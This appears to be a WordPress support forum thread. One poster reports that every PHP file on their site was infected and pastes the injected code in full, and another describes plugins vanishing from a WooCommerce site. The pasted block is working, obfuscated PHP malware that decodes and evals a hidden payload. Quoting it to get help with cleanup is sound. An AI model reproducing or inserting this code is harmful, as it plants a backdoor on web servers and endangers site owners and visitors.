yeezer

Never mind. I wasn’t looking correctly. All php files were hacked in February. This was added to the beginning of all files:

<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) && (! strstr($ua,"\x72\166\x3a\61\x31")) && (! strstr($ua,"\x61\156\x64\162\x6f\151\x64")) && (! strstr($ua,"\x6d\157\x62\151\x6c\145")) && (! strstr($ua,"\x69\160\x68\157\x6e\145")) && (! strstr($ua,"\x69\160\x61\144")) && (! strstr($ua,"\x6f\160\x65\162\x61\40\x6d"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $zdwpypcljc = '%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%x7825-bubEx5c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x7825i7878{**#k#)tutjyf%x5c%x7860%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!**#j{hnpd#)tut56<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pd%x5c%x78256<C%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!%x5c%xL3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]245]K2]285]Ke]53Ld]h%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X;%x5c%x7860ms5c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X62%x5f%163%x70%154%x69%164%50%xmsv}.;%x5c%x782f#%x5c%x782f#%x5c%x782f}25j:^<!%x5c%x7825w%x5c%x78605c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!opjudovg}{;#)tutjyf%x5c2#-#!#-%x5c%x7825tmw)%x5c%x7825>n%x5c%x7825<#372]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y]25]88]5]48]32M3]317]445]212]445]43]321]464]284]56<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x7860{66~6<&w6<%x5c%x787fwfs:~:<*9-1-r%x5c%x7825)s%x5c%x7825%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5c%x786-#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM*<(5)!gj!|!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)sutc256<#o]1%x5c%x782f20QUUI7jsv%x5c25kj:!>!#]y3d]51]y35]256]y76]72]y3d]51]y35]274]y7825)323ldfidk!~!<**qp67R37,18R#>q%x5c%x7825V<*#fopo%x7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fh%x5c%x7825:<#64y]552]e7y]#283]427]36]373P6]36]73]83]238M7]381]211M5]67]452%x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x5c%x78%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}f%x5c%x7825)sf%x5c%x7878pmpuX>b%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7827878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussf7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x5c%x0SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!~!<b%x5c%x7825%x5c%x787f!<256]y39]252]y83]273]y72]!%x5c%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#id%x5c%x7825)uqpuft%x5c%x7860msvd},;5c%x7825nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6].98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y=6[%x5c%x7825ww2!>#p#%x5c%x782f#p#%x5K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x7825tpz!>!#]D6M7]K3WCw*[!%x5c%x7825rN}#QwTW%x7825:osvufs:~928>>%x5c%x7822:ftmbg39*56A:>:8:|:7#6#)tutjyf%x5c%x7860jyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~!<78257**^#zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6sut)tpqssutRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825x7825hW~%x5c%x7825fdy)##-!#~<%x5c%x7825h00#*<%xc%x7825o:W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x5c%x7825%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x78>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!~<%x5c%x78e%x5c%x78b%x5c%x7825ggg!>!#]y81]273]y76]c%x7825+*!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!osvufLOBALS["%x61%156%x75%156%x61"])))) { $GLOBALS5c%x785c%x5c%x7825j^pmA%x5c%x78273qj%x5c%x78256<*Y%x5c%x7825)fnboztww**WYsboepn)%x5c%x7825b>j%x5c%x7825!*9!%x5c%x78-SFGTOBSUOSVUFS,6<*msv%x5c%x7e%52%x29%57%x65","%x65%166%x61%154%6;##}C;!>>!}W;utpi}Y;tuofuopd%x5c%x7860uf<*::::::-111112)eobs%x5c%x7860judovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x782g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%x]572]48y]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:op2fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%xmbdf)%x5c%x7825%x5c%x7824-%x5c%x785c%x7825:>:r%x5c%x7825:|:**t%x5c%x78281]265]y72]254]y76#<%x5c%x7825tm0hA%x5c%x7827pd%x5c%x78256<p258]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x7825ggg7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%xx78256<%x5c%x787fw6*%x5c%x787f_*#f0{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<%x5c25z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j#<%x5c%x7825yy>#]D6]2p%x5c%x7825%x5c%x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x785c%x787f;!|!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x78c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7825z>3<!fmtf!%x5c%xutcvt-#w#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x782%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7882f35.)1%x5c%x782f14+9**-)1%x5c2]18y]#>q%x5c%x7825<#762]67y]562]38y62%x61%171%x5f%155%x61%160%x28%42%x66%152%x66%147%x67%42%x2c%163%x74%13e]81#%x5c%x782f#7e:55946-tr.984:75983:48984:71]%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5cdrr)%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%xf%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x78275d816:+946:ce44#)zbssb!>!ssbnpe_GMFT%x5c%x7860QIQ&f_UTc%x7825j,,*!|%x5c%x7824-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x78227{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}271]y83]256]y78]248]y83]256]y81]265]y72]254]y76]61]y33]68]y34]68]y33%x5c%x7825hIr%x5c%x785c1^-%x5c%x7825r%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7PI%x5c%x7860QUUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860Qx5c%x787f;!osvufs}w;*%x5c%x787)rrd%x5c%x782f#00;quui#>.%x5c%x7825!<***27id%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7866*CW&)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7827&#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7825!*72!%x5c%x7827!hmuqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%dy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]275%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c%x78247825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%%x5c%x7824<!%x5c%x78%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof5c%x78246767~6<Cw6<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5c%x782364]6]234]342]58]24]31#-%x5c%x7825tdz*Wsfuvso!%x5c%x7825bss4y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%x5c%x7824gps)%x5c%x7825j9275fubmgoj{h1:|:*mmvo:>:iuhofmx7825%x5c%x785cSFWSFT%x5c%x7860%x5c%x7825}X;!sp!*#opo#>>}R;%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%x5c%x78604%x5c%x78223}!+!<+{e%x54:]82]y3:]62]y4c#<!%x5c%x7825t::!>!%x%x5c%x785csboe))1%x5c%x7;mnui}&;zepc}A;~!}%x%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x782522%134%x78%62%x35%165%x3a%146%x21%76%x21%507fw6*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%xx5c%x7860GB)fubfsdXA%x5c%x7827K6<%x5c%x78282#<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83]256]y24y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!~<3y]47]67y]37]88y]27]28y]#%x5c%x78ss-%x5c%x7825r%x5c%x7878B%x5c%x7825h>#]y31,j%x5c%x7825>j%x5c%x7825!*3!%x5c%x7827!hmg%x5c%x7825rfs%x5c%x78256~6<%x5c%x787fw6<*K)ftpm7824]26%x5c%x7824-%x5c%x7824<%x5S;2-u%x5c%x7825!-#2#%x5c%x782f#%x825!|!*!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x782f!**#sfmcvt)esp>hmg%x5c%x7825!<12>j%x5c%V%x5c%x787f%x5c%x787f%%x5c%x785c2^<!Ce*[!%x5c%x78%x78257UFH#%x5c%x7827x7825j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%%x22%51%x29%51%x29%73",5c%x7825)hopm3qjA)qj3ho5)m%x5c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:8257-MSV,6<*)ujojR%x5c%x7847R57,27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,V;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kV%x5c%x))!gj!<*#cd2bge56+99386c6f+9f25cIjQeTQcOc%x5c%x782f#00#W~!Yc%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}k~~9{d%x5c<^#Y#%x5c%x785cq%x5c%x4]273]y76]252]y85]256]y6g]257]y86]x5c%x7825mm)%x5c%x7825%x5c%x7878:-2f#00#W~!%x5c%x7825t2w)##Qtjw)#]8w!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t2w>#]y7x5c%x787f%x5c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16,%x5c%x7825%x5c%x7878:!>#]y37-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%x78if((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!isset($G%x7824]25%x5c%x7824-%x5c%x7824-!%x5c%x7825%x5c%x7824-%x5cdXA6|7**197-2qj%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDUun>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7nbs+yfeobz+sfwjidsb%x5c439275ttfsqnpdov{h19275j{hnpd1f7&6|7**111127-K)ebfsX%x5c%x782vd}R;*msv%x5c%x7825)}.;%x5c%x7860UQPMSVD!-b*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825bT-%x5c%7825%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q%x5c%x782cYufhA%x5c%x78272qj%x5c!dsfbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]:<h%x5c%x7825_t%x5c%x7825:osvu27!hmg%x5c%x7825)!gj!~<ofmy%x5c%x782281L1#%x5c%x782f#M5]DgP5]D6#<%x5c%x7825f}U;y]}R;2]},;osvufs}%x5c%x7827-tusqpt)%x5c%x7825z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x7860sfq]278]y3e]81]K78:56985:6197g:74985,3,j%x5c%x7825>j%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sx28%151%x6d%160%x6c%157%x64%145%x28%141%x72%125tzw>!#]y76]277]y72]265]y39]274]y85]273]y6g]273]y76]271]y7d]252]y74]x7825!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%x5c{return chr(ord($n)-1);} @error_reporting(0); preg_replace("%x2f%50%x2FEBFI,6<*127-UVPFNJU,6<*27%x782f2986+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x542178}527}88:}334}472%x5c%x7824<!%xs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cp7825z>2<!%x5c%x7825ww2)%x5c%x7u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7827&6<*rfs%x5c%x78255-rr.93e:5597f-s.973:8297f:5297e:56-%x5c%x7878r.985:52985-tepmqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sp!*#ojneb#-*53]Kc]55Ld]55#*<%x5c%UUI&c_UOFHB%x5c%x786A>2b%x5c%x7825!<*qp%x5c%x7825-*.%x5c%x7825)euhA)3o6<.fmjgA%x5c%x7827doj%x5c%K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#fw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1H*%x5c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%gj!<*2bd%x5c%x7825-#1GO%x5c%x7822#)fepmqyfx7825bG9}:}.}-}!#*<%x5c%x7825nfd>%x5c%x7825fdy<Cf>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0#%x5c]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%87fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%)fepdof.)fepdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!g%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubE{h%x5c%x7825)tpqsutx5c%x785c2^-%x5c%x7825hOh%x5c%x78%x782f*#npd%x5c%x782f# NULL); }["%x61%156%x75%156%x61"]=1; function fjfgg($n)5!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x5c%x!)!gj!<2,*j%x5c%x7825!-#1]x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%x5c%x78256<*17-S>%x5c%x782fh%x5c%x7825:<**#57]3825!>!2p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{jt)!x7825ff2!>!bssbz)%x5c267]y74]275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x782400~%x7860opjudovg)!gj!|!*msv%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x,;#-#}+;%x5c%x7825-qp%x5c%x7825)54l}%x5c%x7827;%x5d%x5c%x7825w6Z6<.3%x5c%x7860hA%x5c%x7827pd%x5c%x782w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<*id%x5c%mjgk4%x5c%x7860{6~6<tfs%x5c%x7825X&Z&S{ftmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V827*&7-n%x5c%x7825)utjm6<%x5c%x77825b:>%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,%x5c%x7825b:<!/(.*)/epreg_replaceyapcwtqnnk'; $xflxttiruq = explode(chr((221-177)),'7063,69,2612,45,9388,46,8090,70,2801,35,7936,45,3858,70,519,31,5582,43,6968,27,2951,59,5080,54,967,48,3225,28,9826,51,218,64,4423,64,10015,32,9082,51,7335,31,8387,58,6995,68,1119,32,6233,21,5984,37,7189,58,8765,42,5682,41,5625,57,6345,23,2677,46,7530,23,5134,47,1585,51,3304,46,2174,56,6684,22,7471,59,864,69,4675,48,8651,26,3350,34,9922,33,9877,45,9499,63,8160,26,2772,29,6429,26,4617,58,3384,54,1411,44,2836,41,386,66,7366,42,1798,36,4778,69,4547,30,666,59,9714,29,0,55,5817,41,5932,52,9473,26,4723,55,9264,60,2748,24,7671,36,7873,63,3693,66,1062,57,6153,31,8050,40,148,70,2134,40,3495,67,9594,44,8807,42,8601,50,8897,46,9357,22,4577,40,4092,63,9199,65,2877,30,7247,35,6086,67,7282,23,1251,42,8504,56,1455,28,2230,49,6558,29,4155,54,4487,60,8581,20,1636,70,1483,61,9434,39,1199,22,5043,37,9133,66,5334,59,550,39,9776,50,6617,67,2064,70,7305,30,5303,31,5393,70,2545,67,8290,68,6184,22,6856,60,9955,60,6916,52,6455,55,1221,30,6510,48,121,27,5544,38,7747,30,5524,20,3562,66,4272,45,6053,33,452,67,5023,20,7981,69,1706,24,5723,49,3193,32,6807,49,6706,34,9659,55,7641,30,933,34,9562,32,5858,32,3067,55,3156,37,6368,61,1293,27,756,63,3822,36,3010,57,2907,44,8255,35,9012,70,9638,21,7132,57,9743,33,2657,20,3976,42,4915,60,7777,64,3122,34,5772,45,6021,32,4209,63,5240,63,2439,57,7553,45,2376,63,1151,48,5463,37,617,49,55,66,6206,27,6587,30,4018,45,4063,29,1544,41,8711,54,2040,24,4385,38,9324,33,6774,33,725,31,2723,25,5890,42,7841,32,8445,59,1901,43,3928,48,1981,59,3475,20,7707,40,4847,68,321,65,8560,21,8849,48,7408,63,2279,47,1834,67,1320,48,819,45,5181,59,5500,24,3791,31,8186,69,2326,50,6254,68,282,39,10047,59,1368,43,589,28,3759,32,3438,37,1944,37,3628,65,8358,29,4975,48,6740,34,1730,68,8677,34,1015,47,2496,49,3253,51,7598,43,4317,68,8943,69,6322,23,9379,9'); $awgvmsxiyv=substr($zdwpypcljc,(52584-42478),(41-34)); if (!function_exists('lzmabikrlr')) { function lzmabikrlr($pajsqfxcvo, $bxovwrwqis) { $ygdnhjagwm = NULL; for($tkweqwysbq=0;$tkweqwysbq<(sizeof($pajsqfxcvo)/2);$tkweqwysbq++) { $ygdnhjagwm .= substr($bxovwrwqis, $pajsqfxcvo[($tkweqwysbq*2)],$pajsqfxcvo[($tkweqwysbq*2)+1]); } return $ygdnhjagwm; };} $hwggbulmjk="\x20\57\x2a\40\x78\157\x78\171\x64\157\x6b\146\x6d\147\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\67\x32\55\x31\63\x35\51\x29\54\x20\143\x68\162\x28\50\x36\63\x33\55\x35\64\x31\51\x29\54\x20\154\x7a\155\x61\142\x69\153\x72\154\x72\50\x24\170\x66\154\x78\164\x74\151\x72\165\x71\54\x24\172\x64\167\x70\171\x70\143\x6c\152\x63\51\x29\51\x3b\40\x2f\52\x20\152\x66\152\x64\157\x63\160\x69\172\x6a\40\x2a\57\x20"; $lehstyvxko=substr($zdwpypcljc,(41542-31429),(63-51)); $lehstyvxko($awgvmsxiyv, $hwggbulmjk, NULL); $lehstyvxko=$hwggbulmjk; $lehstyvxko=(757-636); $zdwpypcljc=$lehstyvxko-1; ?><?php

I’m having the same issue. I’m not sure where to start.

I’ve seen issues saying malware could have been added. I don’t see anything suspicious at the top of the php files under plugins. My plugin files are all still there. I can see them via FTP, and they all have old modified timestamps from February 2015 at the latest. That is kind of strange since the last time I worked on the site was September 2014. I don’t look at this site much, so I don’t know when the issue started, but it is a live woocommerce site that is having issues, and the client just brought it to my attention.

I really don’t want to delete and start over like the OP. I had to make some modifications to Woocommerce, and I don’t want to have to figure out what I changed again.

WordPress is hosted by Earthlink and updates automatically. It’s on version 4.2.3. Oddly, I see in my email history that it was updated to 4.0.5 on May 6 and then 3.9.6 on May 7.

My plugins page currently looks a lot like the OP’s https://s26.postimg.org/dqzhyo2mh/Snap_2014_11_12_11h25m50s_003.jpg image with no plugins listed and all plugins deactivated. Let me know what other info I can provide that would help you help me ?? and thanks in advance!